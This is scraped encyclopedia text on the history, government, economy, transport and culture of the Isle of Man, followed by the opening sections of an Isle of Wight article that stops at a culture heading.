          The Isle of Man is not a part of the European Union, but because of Protocol 3 of the Treaty of Accession in 1972, there does exist the free movement of goods between the two entities.


          


          History


          


          Ancient times to present


          The earliest traces of people on the Isle of Man can be found as far back as the Mesolithic Period, also known as the Middle Stone Age. The first residents lived in small natural shelters, hunting, fishing and gathering for their food. They used small tools made of flint or bone, which have been found near the coast. Representatives of these artifacts are kept at the Manx Museum.


          The Neolithic Period marked the coming of knowledge of farming, better stone tools and pottery. It was during this period that Megalithic Monuments began to appear around the island. Examples from this period can be found at Cashtal yn Ard near Maughold, King Orry's Grave in Laxey, Meayll Circle near Cregneash, and Ballaharra Stones in St Johns. The Megaliths were not the only culture during this time, there were also the local Ronaldsway and Bann cultures.


          During the Bronze Age, the large communal tombs of the Megaliths were replaced with smaller burial mounds. Bodies were put in stone lined graves along with ornamental containers. The Bronze Age burial mounds created long lasting markers about the countryside.


          The Iron Age marked the beginning of Celtic cultural influence. Large hill forts appeared on hill summits, and smaller promontory forts along the coastal cliffs, while large timber-framed roundhouses were built. It is likely that the first Celtic tribes to inhabit the Island were of the Brythonic variety. Around AD700 it is assumed that Irish invasion or immigration formed the basis of the early Manx population. This is evident in the change in language used in Ogham inscriptions. Manx Gaelic remains closely related to Irish and Scots Gaelic.


          Viking settlement on the Isle of Man began at the end of the eighth century. Though the Vikings established Tynwald and introduced many land divisions that still exist, they had little actual influence on the culture of the Manx people. Although the Manx language does contain Norse influences, they are few. The Norse Kingdom of Mann and the Isles was created by Godred Crovan in 1079 after the Battle of Skyhill. During Viking times, the islands of this kingdom were called the Sreyjar or Sudreys ("southern isles") in contrast to the Norreyjar ("northern isles") of Orkney and Shetland. This later became anglacized as Sodor. The Church of England diocese is still called the Diocese of Sodor and Man although it only covers Mann. (When the Rev. W. V. Awdry wrote The Railway Series, he invented the island of Sodor as an imaginary island located between the Isle of Man and the Cumbrian coast.)


          In 1266, as dictated in the Treaty of Perth, Norway's King Magnus VI ceded the isles to Scotland. The Isle of Man came under English control in the fourteenth century. During this period the Isle was dominated by the Stanley family, who also held the title of Earl of Derby, who had been given possession of Man by King Henry IV. In 1703 the Act of Settlement secured peasant rights and marked the beginning of a move away from feudal government. In 1765, however, the British crown secured a greater control over the island, (called "the Revestment") without incorporating it into the United Kingdom, laying the grounds for the island's status as a Crown dependency.


          In 1866 greater autonomy was restored to the island's parliament and a full transition to democracy began. The Isle quickly developed as a tax haven and tourist centre, becoming increasingly prosperous during the Twentieth century. During both the First and Second World Wars the island was used as a location for internment camps for axis citizens and suspected sympathisers.


          


          Tynwald


          Tynwald, the Island's parliament, was nominally founded in AD979. It is arguably the oldest continuous parliament in the world. The annual ceremonial meeting in July on Tynwald Day, the Island's national day, continues to be held at Tynwald Hill, where titles are announced and a brief description of the new laws enacted by Tynwald during the previous year is given.


          


          Geography
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          As well as the main island of Man itself, the Isle of Man includes some nearby small islands: the partially inhabited Calf of Man, and the uninhabited Chicken Rock and St. Patrick's Isle.


          The Isle of Man is located geographically in the middle of the northern Irish Sea, close to the geographical centre of the British Isles, an archipelago off the north-western coast of mainland Europe. The island lies closest to Scotland followed by England, Ireland and Wales.


          Approximately 32miles (51km) long and between 8miles (13km) and 15miles (24km) wide, the island has an area of around 221square miles (570km).


          Hills in the north and south are bisected by a central valley. The extreme north is exceptionally flat, consisting mainly of deposits built up by deposition from glacial advances from Western Scotland during colder times. There are more recently deposited shingle beaches at the Point of Ayre. It has only one mountain higher than 2,000feet (610m), Snaefell, with a height of 2,036feet (621m). According to an old saying, from the summit one can see six kingdoms: those of Mann, Scotland, England, Ireland, Wales, and Heaven. Some versions add a seventh kingdom, that of Neptune or the Sea.


          


          Population


          According to the 2006 interim census, the Isle of Man is home to 80,058 people, of whom 26,218 reside in the island's capital Douglas. Most of the population were born in the British Isles, with 47.6% born in the Isle of Man, 37.2% born in England, 3.4% in Scotland, 2.1% in Northern Ireland, 2.1% in the Republic of Ireland, 1.2% in Wales and 0.3% born in the Channel Islands.


          


          Government
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          The United Kingdom is responsible for the Island's defence and ultimately for good governance, and for representing the Island in international forums, while the Island's own parliament and government have competence over all domestic matters.


          


          Structure


          The Island's parliament is Tynwald, which dates from at least AD979 and is said to be the oldest continuously existing parliament in the world. Tynwald is a bicameral legislature, comprising the House of Keys (directly elected by universal suffrage) and the Legislative Council (consisting of indirectly elected and ex-officio members). These two bodies meet together in joint session as Tynwald.


          The executive branch of government is the Council of Ministers, which is composed of members of Tynwald. It is headed by the Chief Minister, currently Tony Brown MHK.


          Vice-regal functions of the Head of State are performed by a Lieutenant Governor.


          


          External relations


          Under British law, the Isle of Man is not part of the United Kingdom. However, the UK takes care of its external and defence affairs, and retains paramount power to legislate for the Island.


          


          Citizenship


          Citizenship is covered by UK law, and Manx people are classed as British citizens, although those without a grandparent born in the UK (or who have not lived continuously for a period of five or more years in the UK) do not have the same rights as other British citizens with regard to employment and establishment in the European Union.


          


          European Union


          The Isle of Man holds neither membership nor associate membership of the European Union. Protocol Three of the treaty of accession of the United Kingdom permits trade for Manx goods without tariffs. In conjunction with the Customs and Excise agreement with the UK, this facilitates free trade with the UK. While Manx goods can be freely moved within the EU, people, capital and services cannot. EU citizens are entitled to travel and reside in the Island without restriction.


          


          Commonwealth of Nations


          The Isle of Man is not itself a member of the Commonwealth of Nations. By virtue of its relationship with the United Kingdom, it takes part in several Commonwealth institutions, including the Commonwealth Parliamentary Association and the Commonwealth Games.


          


          Politics
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          Most Manx politicians stand for election as independents rather than as representatives of political parties. Though political parties do exist, their influence is not nearly as strong as is the case in the United Kingdom.


          The largest political party is the recently established Liberal Vannin Party, which promotes greater Manx independence and more accountability in Government. The LibVannin party has two members of Tynwald including Leader Peter Karran MHK.


          A nationalist pressure group Mec Vannin advocates the establishment of a sovereign republic.


          


          Local government


          Local government on the Isle of Man is based around the concept of ancient parishes. There are three types of local authorities: a borough corporation, town commissions, and parish commissions.


          


          Census in the Isle of Man


          The Isle of Man Full Census, most recently held in 2001, has been a ten yearly occurrence since 1821, with interim censuses being introduced from 1966. As a British Crown dependency, it is separate, but closely related to the Census in the United Kingdom.


          The 2001 Census was conducted by the Economic Affairs Division of the Isle of Man Treasury, under the authority of the Census Act 1929.


          


          Economy


          The Isle of Man is a 'so-called' low tax economy with no capital gains tax, wealth tax, stamp duty or inheritance tax and a top rate of income tax of 18%. A "tax cap" is in force. The maximum amount of tax payable by an individual is 100,000 or 200,000 for couples if they choose to have their incomes jointly assessed. The 100,000 tax cap equates to an assessable income of approximately 570,000. Personal income is assessed and taxed on a total 'worldwide' income basis rather than a remittance basis. This means that all income earned throughout the world is assessable for Manx tax rather than only income earned in or brought into the IoM. It is therefore important for individuals to calculate whether Manx tax treatment is actually more favourable than that in remittance based legislatures such as Ireland. Residency rules, 60 days per annum, are lower than those in surrounding states.


          The rate of corporation tax is 0% for almost all types of income, the only exceptions are that the profits of banks are taxed at 10%, as is rental (or other) income from land and buildings situated on the Isle of Man.


          Offshore banking, manufacturing, and tourism form key sectors of the economy. Agriculture and fishing, once the mainstays of the economy, now make declining contributions to the Island's Gross Domestic Product (GDP).


          Trade takes place mostly with the United Kingdom.


          The Manx government promotes island locations for making films by contributing to the production costs. Since 1995 over 80 films have been made on the Island.


          


          Communications


          The main telephone provider on the Isle of Man is Manx Telecom. The island has two mobile operators Manx Pronto (provided by Manx Telecom) and Sure Mobile (provided by Cable & Wireless). Broadband internet services are available through four local providers which are Domicilium, Manx Computer Bureau, Wi-Manx and Manx Telecom. The Island does not have its own ITU country code, but is accessed via the UK's code (+44) and the Island's telephone numbers are part of the UK telephone numbering plan with local dialling codes 01624 (landlines) and 07624/07924 (mobiles).


          In December 2007, the Manx Electricity Authority and its telecoms subsidiary, e-llan Communications Limited, commissioned the lighting of a new fibre-optic link that connects the Island to a worldwide fibre optic network.


          The Isle of Man has three radio stations: Manx Radio, Energy FM, and 3 FM.


          There is no domestic television service, and local transmitters retransmit analogue broadcasts of BBC 1 and BBC 2 (with BBC North West regional programmes), ITV Border Television and Channel 4. Five is not available via the Island's analogue transmitters.


          Many TV services are available by satellite, such as Sky Digital, and Freesat from the Astra 2/Eurobird 1 group, as well as services from a range of other satellites around Europe such as Astra 1 and Hotbird.


          In some areas, terrestrial television (including digital terrestrial) from the United Kingdom (Freeview) or Republic of Ireland can be received.


          Analogue television transmission will cease between 2008 and 2009, and limited local transmission of digital terrestrial television will then commence.


          


          Transport


          The island has a total of 688miles (1,107km) of public roads, all of which are paved. Many of the roads on the island have no speed limit, although measured travel speeds are often relatively low.


          
            
              	Isle of Man Travel Speeds
            


            
              	

              	Speed Limit

              	85% Speed

              	85% Speed

              	
            


            
              	Measurement Site

              	(mph)

              	Eastbound (mph)

              	Westbound (mph)

              	Measurement Dates
            


            
              	Ballafreer House, Main Road, Marown

              	No Limit

              	46

              	47

              	27 June  4 July 2005
            


            
              	Main Road, Baldrine

              	30

              	36

              	36

              	21 November  28 November 2005
            


            
              	Glen Mona, Maughold (parish)

              	Derestricted

              	38

              	42

              	26 September  3 October 2005
            


            
              	Ballamodha Straight, Malew

              	40

              	51

              	50

              	6 March  13 March 2006
            


            
              	Ballacobb, Ballaugh

              	No Limit

              	51

              	40

              	3 July  10 July 2006
            


            
              	Richmond Hill, Douglas (By bus stop)

              	50

              	55

              	50

              	24 April  1 May 2006
            


            
              	Shore Road, Outside Limekilns Farm

              	No Limit

              	49

              	50

              	2 August  8 August 2004
            


            
              	Windy Corner, Onchan

              	No Limit

              	54

              	57

              	17 July  24 July 2006
            

          


          source: Transport Implications of the Isle of Man Strategic Plan


          Douglas is served by frequent ferries to and from England and more limited summer-only services from Ireland. All ferries are operated by the Isle of Man Steam Packet Company.


          The only commercial airport on the island is the Isle of Man Airport at Ronaldsway.


          The island used to have an extensive narrow-gauge railway system, both steam-operated and electric, but the majority of the steam railway tracks have been taken out of service and the track removed. Currently there is a steam railway which runs between Douglas and Port Erin, an electric railway which runs between Douglas and Ramsey and an electric mountain railway which climbs Snaefell. The lines are mostly operated for the benefit of tourists, though some people use them for commuting.


          The Island-wide bus network is operated by Isle of Man Transport. Both Single- and Double-decker buses are in service.


          


          Culture


          The culture of the Isle of Man is influenced by its Norse and Celtic cultural origins, though its close proximity to the UK, period as a UK tourist destination and recent mass immigration by British migrant workers has meant that British influence has been dominant since the Revestment period. Recent revival campaigns have attempted to preserve the surviving vestiges of Manx culture after a long period of Anglicization, and significant interest in the Manx language, history and musical tradition have been the result.


          


          Etymology of name


          The origin of the name Isle of Man is unclear. In the Manx Gaelic language the Isle of Man is known as Ellan Vannin, where ellan is a Gaelic word meaning 'island'. The earliest form of 'Man' is Manu or Mana giving the genitive name Manann leading to the word Mannin, to which a 'h' is added when used after the feminine word Ellan, giving Mhannin. As 'mh' is pronounced like a 'v' in Goidelic languages, in modern Manx the name becomes Ellan Vannin.


          During the period of Julius Caesar as proconsul and his visit to Britain during 55 and 54 BC Caesar referred to the Isle of Man in his Commentarii de Bello Gallico to 'an island called Mona which lies midway across the sea separating Britain from Ireland.'


          


          Language


          The official languages of the Isle of Man are Manx Gaelic and English. A dialect of English known as Manx English is spoken.


          The Manx Gaelic language is a Goidelic Celtic language and is one of a number of insular Celtic languages spoken in the British Isles. Manx Gaelic has been officially recognised as a legitimate autochthonous regional language under the European Charter for Regional or Minority Languages, ratified by the United Kingdom on 27 March 2001 on behalf of the Isle of Man government.


          The Manx language is closely related to the Irish language and Scottish Gaelic. By the middle of the twentieth century only a few elderly native speakers remained: the last of them, Ned Maddrell, died on December 27, 1974. By then a scholarly revival had begun to spread to the populace and many had learned Manx as a second language. The first native speakers of Manx (bilingual with English) in many years have now appeared: children brought up by Manx-speaking parents. Primary immersion education in Manx is provided by the Manx government: since 2003, the former St John's School building has been used by the Bunscoill Gaelgagh (Manx language-medium school). Degrees in Manx are available from the Isle of Man College and the Centre for Manx Studies. Manx-language playgroups also exist, and Manx language classes are available in island schools. In the 2001 census, 1,689 out of 76,315, or 2.2% of the population, claimed to have knowledge of Manx, although the degree of knowledge in these cases was presumably varied.


          In common use are the greetings moghrey mie and fastyr mie which mean 'good morning' and 'good afternoon' respectively. The Manx language knows no 'evening' as it is 'afternoon'. Another frequently heard Manx expression is traa dy liooar meaning 'time enough', and represents a stereotypical view of the Manx attitude to life.


          


          Symbols


          


          For centuries, the Island's symbol has been its ancient triskelion, a device similar to Sicily's Trinacria: three bent legs, each with a spur, joined at the thigh. The Manx triskelion does not appear to have an official definition; Government publications, currency, flags, the tourist authority and others all use different variants. Most, but not all, preserve rotational symmetry, some running clockwise, others counter-clockwise. Some have the uppermost thigh at 12:00, others at 11:30 or 10:00, etc. Some have the knee bent at 90, some at 60, some at closer to 120. Also the degree of ornamentation of the leg wear and spur vary considerably.


          The three legs relate directly to the island's motto (adopted late in the symbol's history): Quocunque Jeceris Stabit, translated as 'Whithersoever you throw it, it will stand'. Interpretations of the motto often stress stability and robustness in the Manx character. Many schools on the island have adapted the motto to promote perseverance and hard work.


          The origin of the 'Three Legs of Man' (as they are usually called) is explained in the Manx legend that Manannan repelled an invasion by transforming into the three legs and rolling down the hill and defeating the invaders.


          Variations on the Manx triskelion are still in use on the coats of arms belonging to the different branches of the ancient Norwegian noble family that ruled Mann until the thirteenth century. This particular version belongs to the Skancke branch of the Skanke family. The name stems from skank, the Norwegian version of the word 'shank', or ' leg'. The Norse royal family of Man stayed on the island for some years after the death of Magnus III and the beginning of Scottish rule. The family's emigration only came after the a final attempt on the part of the Manx at restoring the old Sudreyar dynasty in the 1275 uprising against the Scots. This revolt failed disastrously, ending in the deaths of hundreds of rebels, including the last Norse King of Mann, Godred VI Magnuson when the Manx suffered defeat in the decisive Battle of Ronaldsway, near Castletown. When the Norse-Manx royals arrived in Norway they took service as nobles of the Norwegian king, quickly becoming knights, landlords, and clergy under the Norwegian Crown.


          


          Myth, legend and folklore
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          In Manx mythology, the island was ruled by Manannn mac Lir, a Celtic sea god, who would draw his misty cloak around the island to protect it from invaders. One of the principal theories about the origin of the name Mann is that it is named after Manannan.


          In the Manx tradition of folklore, there are many stories of mythical creatures and characters. These include the Buggane, a malevolent spirit who according to legend blew the roof off St Trinian's church in a fit of pique; the Fenodyree; the Glashtyn; and the Moddey Dhoo, a ghostly black dog who wandered the walls and corridors of Peel Castle.


          The Isle of Man is also said to be home to fairies, known locally as 'the little folk' or 'themselves'. There is a famous Fairy Bridge and it is said to be bad luck if one fails to wish the fairies good morning or afternoon when passing over it. It used to be a tradition to leave a coin on the bridge to ensure good luck. Other types of fairies are the Mi'raj and the Arkan Sonney.


          An old Irish story tells how Lough Neagh was formed when Ireland's legendary giant Fionn mac Cumhaill (sometimes known as Finn McCool) scooped up a portion of the land and tossed it at a Scottish rival. He missed, and the chunk of earth landed in the Irish Sea, thus creating the island.


          


          Cuisine


          Traditionally the national dish of the Island is 'Spuds and Herrin', boiled potatoes and herring. This plain dish is chosen because of its role supporting the subsistence farmers of the island, who crofted the land and fished the sea for centuries.


          A more recent claim for the title of national dish would be the ubiquitous chips, cheese and gravy, which is similar to the Canadian dish of poutine. Known locally as "CCG", it is found in most of the Island's fast-food outlets, and consists of thick cut chips, covered in shredded Manx cheddar cheese and topped with a thick gravy.


          Seafood has traditionally accounted for a large proportion of the local diet. Although commercial fishing has declined in recent years, local delicacies include Manx kippers (smoked herring) which are produced by the smokeries in Peel on the west coast of the island, albeit mainly from North Sea herring these days. The smokeries also produce other specialities including smoked salmon and bacon.


          Crab, lobster and scallops are commercially fished, and the Queen Scallop ('Queenies') is regarded as a particular delicacy, with a light, sweet flavour. Cod, ling and mackerel are often angled for the table, and freshwater trout and salmon can be taken from the local rivers and lakes, supported by the Government fish hatchery at Cornaa.


          Cattle, sheep, pigs and poultry are all commercially farmed, Manx lamb from the hill-farms being a popular dish. The Loaghtan, the indigenous breed of Manx sheep, has a rich, dark meat that has found favour with chefs, featuring in dishes on the BBC's Masterchef series.


          Milk and cheese are produced by IOM Creameries. Manx cheese has been a particular success, featuring smoked and herb-flavoured varieties, and is stocked by many of the UK's supermarket chains. Manx cheese took bronze medals in the 2005 British Cheese Awards, and sold 578 tonnes over the year.


          Beer is brewed on a commercial scale by Okells Brewery (established in 1850) and Bushy's Brewery.


          


          Sport


          The Isle of Man is represented as a nation in the Commonwealth Games and the Island Games and will be hosting the IV Commonwealth Youth Games in 2011. The Island started the Island Games in 1985, and also hosted the Island Games in 2001.


          Isle of Man teams and individuals participate in many sports both on and off the island including rugby union, football, gymnastics, hockey, bowling and cricket. Being an island, many types of watersports are also popular with residents.


          Mark Cavendish, a pro cyclist riding for Team Columbia, was the first Manx to win a stage of the Tour de France on 09 July 2008. He then went on to win three additional stages, becoming the first Briton to win four stages (5, 8, 12, 13) of the same Tour.


          


          Motorcycle racing


          The main international motorcycle event associated with the island is the Isle of Man TT, which began in 1907 and takes place in late May and early June. It is now an international road racing event for motor bikes and used to be part of the World Championship. The Manx Grand Prix is a motorcycle event for amateurs and private entrants that uses the same 37.73miles (60.72km) Snaefell Mountain Course in late August and early September.


          


          Cammag


          Cammag is the national sport of the Isle of Man. It is similar to the Scottish game of shinty, and Irish hurling. Once the most popular sport on the Island, it ceased to be played by the start of the 20th century. It has more recently been revived with an annual match at St John's.


          


          Famous residents


          


          Born or raised on the island


          
            	The Bee Gees


            	Mark Cavendish, sprint cyclist.


            	Charles Kerruish became in 1961 the first Manxman to be head of government.


            	Illiam Dhone led an uprising against English rule over the island and was executed in 1663.


            	Nigel Kneale, seminal science fiction and horror screenwriter.


            	Myles Standish, Captain of the Mayflower, believed to be born in Ellan Bane Farm, Lezayre, but some evidence has also located his birth place as Duxbury in England.

          


          



          


          Moved to the island


          
            	James Toseland, the current World Superbike Champion and MotoGP Rider


            	Neil Hodgson, the 2003 Superbike and World Superbike Champion.


            	George MacDonald Fraser, author


            	Sir Norman Wisdom, comedian and actor.


            	John Rhys Davies, actor.


            	Andy Kershaw, DJ.


            	Jeremy Clarkson, the journalist and broadcaster has a second home on the island.


            	Nigel Mansell, 1992 Formula One and 1993 Indy Car World Champion


            	Steve Hislop, former motorcycle world champion.

          


          


          
            Retrieved from " http://en.wikipedia.org/wiki/Isle_of_Man"
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              	Motto of County Council: All this beauty is of God
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              	Geography
            


            
              	Status

              	Ceremonial & Non-metropolitan/ Unitary county
            


            
              	Region

              	South East England
            


            
              	Area

              - Total

              	Ranked 46th

              380 km (147 sqmi)
            


            
              	Admin HQ

              	Newport
            


            
              	ISO 3166-2

              	GB-IOW
            


            
              	ONS code

              	00MW
            


            
              	NUTS 3

              	UKG11
            


            
              	Demography
            


            
              	Population

              - Total (2006est.)

              - Density

              - Admin. council

              	Ranked

              140,000

              368/km (953/sqmi)

              Ranked
            


            
              	Ethnicity

              	
            


            
              	Politics
            


            
              	Conservative
            


            
              	Executive

              	
            


            
              	Members of Parliament

              	
                
                  	Andrew Turner (C)

                

              
            


            
              	Districts
            


            
              	
            

          


          The Isle of Wight is a British island and county in the English Channel between three and five miles from the south coast of Great Britain. It is situated south of the county of Hampshire and is separated from mainland England by the Solent. Popular since Victorian times as a holiday resort, the Isle of Wight is known for its outstanding natural beauty and for its world-famous sailing based in Cowes.


          The Island has a rich history including its own brief status as a nominally independent kingdom in the fifteenth century. It was home to the poet Alfred Lord Tennyson, and Queen Victoria built her much loved summer residence and final home Osborne House at East Cowes. The Island's maritime and industrial history encompasses boat building, sail making, the manufacture of flying boats, the world's first hovercraft and the testing and development of British space rockets. It is home to the Isle of Wight International Jazz Festival, Bestival and the recently revived Isle of Wight Festival, which, in 1970, was one of the largest rock music events ever held. The island has some exceptional wildlife and is also one of the richest fossil locations for dinosaurs in Europe.


          The island has in the past been part of Hampshire, however it became an independent administrative county (although still sharing the Lord Lieutenant of Hampshire) in 1890. In 1974 it was reconstituted as a non-metropolitan and ceremonial county with its own Lord Lieutenant and the name was adopted as a postal county. The island is the smallest ceremonial county in England at high tide, but its land area at low tide is larger than Rutland's. With a single Member of Parliament and 132,731 permanent residents according to the 2001 census, it is also the most populated Parliamentary constituency in the United Kingdom.


          


          History


          


          Early history


          The Isle of Wight is first mentioned in writing in Geography by Claudius Ptolemaeus.


          At the end of the Roman Empire the island of Vectis became a Jutish kingdom ruled by King Stuf and his successors until AD 661 when it was invaded by Wulfhere of Mercia and forcibly converted to Christianity at sword point. When he left for Mercia the Islanders reverted to paganism.


          In AD 685 it was invaded by Caedwalla of Wessex and can be considered to have become part of Wessex. Following the accession of West Saxon kings as kings of all England, it then became part of England. The island became part of the shire of Hampshire and was divided into hundreds as was the norm.


          In 686, it became the last part of England to convert to Christianity.


          The Island suffered especially from the Vikings. Alfred the Great's navy defeated the Danes in 871 after they had "ravaged Devon and the Isle of Wight".
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          Middle ages


          The Norman Conquest created the position of Lord of the Isle of Wight. Carisbrooke Priory and the fort of Carisbrooke Castle were founded. The Island did not come under full control of the Crown until it was sold by the dying last Norman Lord, Lady Isabella de Fortibus, to Edward I in 1293.


          The Lordship thereafter became a Royal appointment, with a brief interruption when Henry de Beauchamp, 1st Duke of Warwick was in 1444 crowned King of the Isle of Wight, with King Henry VI assisting in person at the ceremony, placing the crown on his head. With no male heir, the regal title expired on the death of Henry de Beauchamp.


          Henry VIII, who developed the Royal Navy and its permanent base at Portsmouth, fortified the Island at Yarmouth, East & West Cowes and Sandown. Much later, after the Spanish Armada in 1588, the threat of Spanish attacks remained and the outer fortifications of Carisbrooke Castle were built between 1597 and 1602.


          


          Civil war


          During the English Civil War King Charles fled to the Isle of Wight, believing he would receive sympathy from the governor, Robert Hammond. Hammond was appalled, and incarcerated the king in Carisbrooke Castle.


          
            [image: Osborne House and its grounds are now open to the public]

            
              Osborne House and its grounds are now open to the public
            

          


          


          Queen Victoria


          Queen Victoria made Osborne House on the Isle of Wight her summer home for many years and, as a result, it became a major holiday resort for fashionable Victorians including Alfred Lord Tennyson, Julia Margaret Cameron, Charles Dickens and members of European royalty.


          During her reign, in 1897, the world's first radio station was set up by Marconi, at the Needles battery, at the western tip of the Island.


          


          Modern history


          During the Second World War the Island was frequently bombed. With its proximity to France the Island also had a number of observation stations and transmitters, and was the starting-point for one of the earlier Operation Pluto pipelines to feed fuel to the Normandy landings.


          The Needles battery was used as the site for testing and development of the Black Arrow and Black Knight space rockets, subsequently launched from Woomera, Australia.


          The Isle of Wight Festival was a very large rock festival that took place near Afton Down, West Wight in 1970, following two smaller concerts in 1968 and 1969. The 1970 show was notable both for being one of the last public performances by Jimi Hendrix and for the number of attendees reaching, by many estimates, 600,000. The Festival was revived in 2002 and is now an annual event.


          


          Physical geography and wildlife
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          Isle of Wight is approximately diamond in shape and covers an area of 380km2 (147 sq mi). Slightly more than half of the Island, mainly in the west of the Island, is designated as the Isle of Wight Area of Outstanding Natural Beauty. The Island has 258km2 (99.6 sq mi) of farmland, 52km2 (20 sq mi) of developed areas, and 92 km (57 mi) of coastline. The landscape of the Island is remarkably diverse, leading to its oft-quoted description of "England in Miniature". The West Wight is predominantly rural, with dramatic coastlines dominated by the famous chalk downland ridge, running across the whole Island and ending in The Needles stacks  perhaps the most photographed aspect of the Isle of Wight. The highest point on the Island is St Boniface Down, at 241 m (791 ft), which is also a Marilyn.
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          The rest of the Island landscape also has great diversity, with perhaps the most notable habitats being the soft cliffs and sea ledges, which are spectacular features as well as being very important for wildlife, and are internationally protected. The River Medina flows north into the Solent, whilst the other main river, the River Yar flows roughly north-east, emerging at Bembridge Harbour on the eastern end of the Island. Confusingly, there is another entirely separate river at the western end also called the River Yar flowing the short distance from Freshwater Bay to a relatively large estuary at Yarmouth. Where distinguishing the two becomes necessary, each may be referred to as the eastern or western Yar.


          The south coast of the Island borders the English Channel. Without man's intervention the Island may well have been split into three with the sea breaking through 1) at the west end of the Island where a bank of pebbles separates Freshwater Bay from the marshy backwaters of the Western Yar east of Freshwater, and 2) at the east end of the Island where a thin strip of land separates Sandown Bay from the marshy basin of the Eastern Yar, east of Sandown. Yarmouth itself was effectively an island with water on all sides and only connected to the rest of the Island by a regularly breached neck of land immediately east of the town.


          Island wildlife is remarkable, and it is one of the few places in England where the red squirrel is flourishing, with a stable population ( Brownsea Island is another). Unlike most of England, no grey squirrels are to be found on the Island, nor are there any wild deer but, instead, rare and protected species, such as the dormouse and many rare bats, can be found. The Glanville Fritillary butterfly's distribution in the United Kingdom is largely restricted to the edges of the crumbling cliffs of the Isle of Wight.


          A competition in 2002 named the Pyramidal Orchid as the Isle of Wight's county flower..


          The Island is known as one of the most important areas in Europe for finding dinosaur fossils. The eroding cliffs also assist hidden remains to become more visible.


          


          Climate


          Being one of the most southerly points in the UK, the Isle of Wight has a warmer climate than other areas which results in high numbers of holiday-makers, particularly along the south of the island. It also has a longer growing season than other areas in the UK.


          
            
              	

              	Jan

              	Feb

              	Mar

              	Apr

              	May

              	June

              	July

              	Aug

              	Sep

              	Oct

              	Nov

              	Dec
            


            
              	Avg High (C)

              	8

              	8

              	10

              	13

              	16

              	19

              	22

              	21

              	19

              	15

              	11

              	9
            


            
              	Avg Min (C)

              	1

              	1

              	2

              	3

              	7

              	9

              	11

              	11

              	9

              	7

              	3

              	2
            


            
              	Mean (C)

              	4

              	4

              	6

              	8

              	11

              	14

              	16

              	16

              	14

              	11

              	7

              	5
            


            
              	Avg Precip (mm)

              	89

              	61

              	66

              	48

              	56

              	53

              	41

              	56

              	66

              	79

              	84

              	89
            

          


          


          Geology
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          The Isle of Wight is made up from a wide variety of different rock types which date from Early Cretaceous times (around 127 million years ago) to the middle of the Palaeogene (around 30 million years ago). All the rocks found on the Island are sedimentary, made up of mineral grains from previously existing rocks. These are all consolidated to form the rocks that can be seen on the Island today, such as limestone, mudstone and sandstone. Rocks on the Island are very rich in fossils and many of these can be seen exposed on the beaches as the cliffs erode.


          Cretaceous rocks, normally red, show that the climate was previously hot and dry. This provided suitable living conditions for dinosaurs. Dinosaur bones and footprints can be seen around the Island along beaches, especially at Yaverland and Compton Bay.


          Along the northern coast of the Island there is a rich source of fossilised shellfish, crocodiles, turtles and mammal bones. The youngest of these dates back to around 30 million years ago.


          The Island is mainly made up of Tertiary clays, in most of the northern parts of the Island, limestone, upper and lower greensands, wealden and chalk.
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          Politics
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          The Isle of Wight is a ceremonial and non-metropolitan county. Since the abolition of its two borough councils in 1995 and the restructuring of the county council as the Isle of Wight Council, it has been a unitary county. It is unique in England in this way  all other unitary areas are single districts with no county council, while the Isle of Wight is the other way round. It also has a single Member of Parliament, and is by far the most populous constituency in the United Kingdom (more than 50% above the average of English constituencies).


          As a constituency of the House of Commons, it is traditionally a battleground between the Conservatives and the Liberal Democrats. The current MP, Andrew Turner is a Conservative, and his predecessor Dr Peter Brand was a Liberal Democrat.


          The Isle of Wight Council election of 2005 was a landslide victory for the Conservative Party, displacing the long serving "Island First" group, a coalition of Liberal Democrats and independents.


          There has been a minor regionalist movement, in the form of the Vectis National Party and Isle of Wight Party, but this has generally performed badly in elections.


          


          Demographics


          From the census taken in 2001, the island's population was at 132,731. This shows a change of 5.4% since the last census in 1991 which is a higher increase than the average for the UK at 2.6%. The mean age of people from the island is 43.19. This is higher than the national average of 38.65.


          From the 2001 census data, the population on the Isle of Wight by age group is:


          
            
              	Age Group

              	United Kingdom

              	Isle of Wight UA
            


            
              	Total

              	58,789,194

              	132,719
            


            
              	0-4

              	3,486,469

              	6,437
            


            
              	5-9

              	3,738,160

              	7,604
            


            
              	10-14

              	3,880,609

              	8,459
            


            
              	15-19

              	3,663,899

              	7,417
            


            
              	20-24

              	3,546,151

              	5,564
            


            
              	25-29

              	3,867,115

              	6,155
            


            
              	30-34

              	4,493,585

              	8,084
            


            
              	35-39

              	4,625,810

              	8,746
            


            
              	40-44

              	4,151,580

              	8,448
            


            
              	45-49

              	3,735,964

              	8,399
            


            
              	50-54

              	4,040,437

              	10,133
            


            
              	55-59

              	3,338,861

              	9,619
            


            
              	60-64

              	2,879,948

              	7,951
            


            
              	65-69

              	2,596,843

              	7,441
            


            
              	70-74

              	2,339,231

              	7,085
            


            
              	75-79

              	1,966,929

              	6,445
            


            
              	80-84

              	1,313,547

              	4,524
            


            
              	85-89

              	752,787

              	2,750
            


            
              	90+

              	371,269

              	1,458
            

          


          The lack of a university on the island causes many younger people to leave for higher education. The Isle of Wight is also considered an attractive place for many people to retire, due to the perception that it is more peaceful than the rest of the UK. This results in a higher proportion of older people.


          The most popular religion on the island is Christianity, with 73.72%, however this census question was optional and 7.89% did not wish to state a religion.


          


          Main towns


          
            	Newport, the island's second largest town, located in the centre of the island, is the county town of the Isle of Wight and is the island's main shopping area. Recent developments include a new bus station with retail complex and a new retail park on the outskirts. Located next to the River Medina, Newport Quay was once a busy port until the mid-19th century, but has now been mainly converted into art galleries, apartments and other meeting places.


            	Ryde, the Island's largest town with a population of around 30,000, is located in the north east of the Island. It is a Victorian town with a half-mile long pier and four miles of beaches, attracting many tourists each year.


            	Cowes is the location of Cowes Week every year and a popular international sailing centre. It is also the home of the record setting sailor Dame Ellen MacArthur.


            	Sandown is another seaside resort, attracting many tourists each year. It is also home to the Isle of Wight Zoo and Dinosaur Isle geological museum, and one of the island's two 18 hole golf courses.


            	Shanklin just south of Sandown, also attracts tourists by its sandy beaches. Its main attractions are Shanklin Chine and the old village.


            	Ventnor is built upon the steep slopes of St Boniface Down on the south coast of the Island and leads down to a picturesque bay which attracts many tourists. Recent developments include Ventnor Haven, a small harbour built around a Victorian-style bandstand.
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          The Isle of Wight has no cities. In addition to the above, there are smaller towns along the coasts - particularly on the east side of the Island. As well as the towns, the island has many smaller villages. Some of these (for example, Godshill) also attract many tourists.


          


          Culture


          


          Language and dialect


